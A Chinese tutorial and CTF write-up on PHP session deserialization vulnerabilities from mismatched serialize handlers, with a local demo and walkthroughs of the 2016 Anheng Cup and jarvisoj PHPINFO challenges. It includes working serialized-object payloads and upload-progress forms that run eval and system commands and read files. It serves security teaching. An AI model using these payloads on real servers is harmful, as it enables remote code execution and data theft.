前言
记录一下php反序列化的一种方式——利用php对session的不同处理引擎所产生的反序列化漏洞。
简介
当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,会以文件的形式存储到指定目录(默认为/tmp)。
与之相关的配置在php.ini文件分别有着对应的选项设置:
1. session.save_path=”…/tmp” : 设置session的存储路径,默认会在/tmp下
2. session.save_handler=files :表明session是以文件的方式来进行存储的
3. session.auto_start=0 : 表明默认不启动session,但我们可以用session_start()调用
4. session.serialize_handler=php :表明session的默认序列化引擎使用的是php序列话引擎
处理器
PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
处理器 | 对应的储存方式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
在PHP中默认使用的是PHP引擎(表中的第一个),如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。示例代码如下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
存储结构
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
例如,在默认配置情况下,有如下代码:
<?php
session_start();
$_SESSION['name'] = 'Hed9eh0g';
var_dump();
?>
抓包查看session内容:
session文件的存储路径:
文件的内容:
可以看到PHPSESSID的值是scial0m2bgthrji7k4k6crssev,而在/tmp下存储的文件名是sess_scial0m2bgthrji7k4k6crssev,文件的内容是name|s:8:”Hed9eh0g”;。name是键值,s:8:”Hed9eh0g”;是serialize(“Hed9eh0g”)的结果。
在php_serialize引擎下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'Hed9eh0g';
var_dump();
?>
SESSION文件的内容是a:1:{s:4:”name”;s:8:”Hed9eh0g”;}。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
在php_binary引擎下:
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'Hed9eh0g';
var_dump();
?>
SESSION文件内容(第一个字符是ASCII为4的字符,在浏览器中打印不出来,它也是序列化的一部分,这是由于name的长度是4):
利用原理
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'Hed9eh0g';
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
var_dump();
?>
上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是:
a:2:{s:4:”name”;s:8:”Hed9eh0g”;s:4:”ryat”;s:24:”|O:11:”PeopleClass”:0:{}”;}
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:
array (size=1)
'a:1:{s:8:"Hed9eh0g";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:8:”Hed9eh0g”;s:24:”
作为SESSION的key,将O:11:”PeopleClass”:0:{}
作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
实际利用
存在session1.php和session2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞。
session1.php,使用php_serialize来处理session:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["Hed9eh0g"]=$_GET["a"];
session2.php,使用php来处理session:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
当访问session1.php时,提交如下的数据:
http://127.0.0.1/session1.php?a=|O:4:"test":1:{s:2:"hi";s:16:"echo "Hed9eh0g";";}
此时传入的数据会按照php_serialize来进行序列化。
此时访问session2.php时,页面输出Hed9eh0g,成功执行了我们构造的函数。因为在访问session2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化test对象,最后就会执行析构函数中的eval()方法。
至此成功利用反序列化漏洞执行了我们所指定的恶意代码。
CTF
2016安恒杯
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>
i.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
phpinfo.php
<?php
session_start();
require("./class.php");
$f3 = new foo3();
$f3->varr = "phpinfo();";
$f3->execute();
?>
可以看到,i.php中用的是php处理器。
另外可以访问phpinfo.php查看配置信息:
默认是采用php处理器处理session,session.upload_progress.cleanup配置为Off,session.upload_progress.enabled配置为On。
说下session.upload_progress.enabled,官方文档。
当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。
当前代码的话没有向服务器提交数据,但是现在session.upload_progress.enabled是开启的,所以可以通过上传文件,从而在session文件中写入数据。
也就是说,利用点是通过session.upload_progress.enabled来上传文件向session文件中写入php_serialize处理器格式的内容,从而与i.php中php处理器不同进而造成session反序列化漏洞的存在。
思路:
通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
poc.php
<?php
class foo3{
public $varr='echo "Hed9eh0g";';
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$obj = new foo1();
print_r(serialize($obj));
?>
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo “Hed9eh0g”。最终得到的poc是:
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:16:"echo "Hed9eh0g";";}}}
这样当上面的序列化的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo “Hed9eh0g”;的方法了。
写入的方式就是利用PHP中Session Upload Progress来进行设置,构造一个form.html:
<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
Burpsuite截断该form.html发送的POST请求,在PHP_SESSION_UPLOAD_PROGRESS一栏中的值加上刚才poc.php生成的poc就能够成功执行命令了。
由于题目年代久远,这里只能放上别人记录的图片了,与我刚才讲的思路区别只在于执行命令的不同:
当执行命令为system(‘whoami’);时:
当执行命令为system(“ipconfig”);时:
jarvisoj PHPINFO
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
开头将session的解析引擎定义为了php。
访问:http://web.jarvisoj.com:32784/index.php?phpinfo 可看到session.upload_progress.enabled,session.upload_progress.cleanup都符合条件。
于是构造一个form.html:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
poc.php:
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>
生成序列化的值为:
O:5:"OowoO":1:{s:4:"mdzz";s:22:"print_r(system('ls'));";}
在上传的时候抓包,修改上传的内容为序列化的值前加一个“|”。即可遍历目录:
再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload:
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}
得到flag:
参考文章
https://xz.aliyun.com/t/6454#toc-12
https://www.mi1k7ea.com/2019/04/21/PHP-session%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E